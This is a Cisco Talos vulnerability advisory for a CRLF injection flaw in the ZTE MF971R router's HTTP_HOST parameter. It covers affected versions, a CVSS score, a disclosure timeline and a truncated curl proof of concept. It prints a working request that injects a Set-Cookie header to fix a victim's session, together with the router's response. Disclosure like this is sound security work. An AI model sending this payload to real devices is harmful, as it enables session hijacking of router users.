Talos Vulnerability Report


ZTE MF971R HTTP_HOST CRLF Injection vulnerability

October 18, 2021
CVE Number



An exploitable CRLF injection vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can cause a CRLF injection. An attacker needs to provide a URL to the victim to trigger the vulnerability.

Tested Versions

ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb

Product URLs


CVSSv3 Score

6.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L


CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers (‘HTTP Response Splitting’)


MF971R its a portable router with Wi-Fi support and LTE/GSM modem.

This vulnerability is present in the HTTP_HOST parameter which is a part of the ZTE MF971R zte_topsw_goahead HTTP daemon/web applications. A specially-crafted URL sent by an attacker and visited by a victim can lead to CRLF Injection.

A HTTP_HOST parameter passed via GET method to zte_topsw_goahead daemon is not properly sanitized of any special characters. The value delivered with this parameter is later used in a response Location header. Because it is not sanitized, an attacker can inject \r\n signs and exploit in a few different ways.

Below is an example of an attacker setting a session cookie to their own value (i.e. session fixation):


GET /?HTTP_HOST=%0d%0aSet-Cookie%3a%20stok=45BD8566DAEB75D2796134AA%0d%0aX-Magic:%20 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://evil.localdomain/
Connection: close


HTTP/1.1 302 Redirect
Server: WebServer-Webs
Date: Wed Apr 28 04:33:05 2021
Pragma: no-cache
Cache-Control: no-store
Content-Type: text/html
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
Set-Cookie: stok=45BD8566DAEB75D2796134AA
X-Magic: /index.html

		This document has moved to a new <a href=" 
Set-Cookie: stok=45BD8566DAEB75D2796134AA
X-Magic: /index.html">location</a>.
		Please update your documents to reflect the new location.

The victim does not need to be logged-in to be affected by this vulnerability.

Exploit Proof of Concept

curl -i -s -k -X $'GET' \
	-H $'Host:' \


2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted
2021-10-15 - Vendor patched
2021-10-18 - Public release


Discovered by Marcin 'Icewall' Noga of Cisco Talos.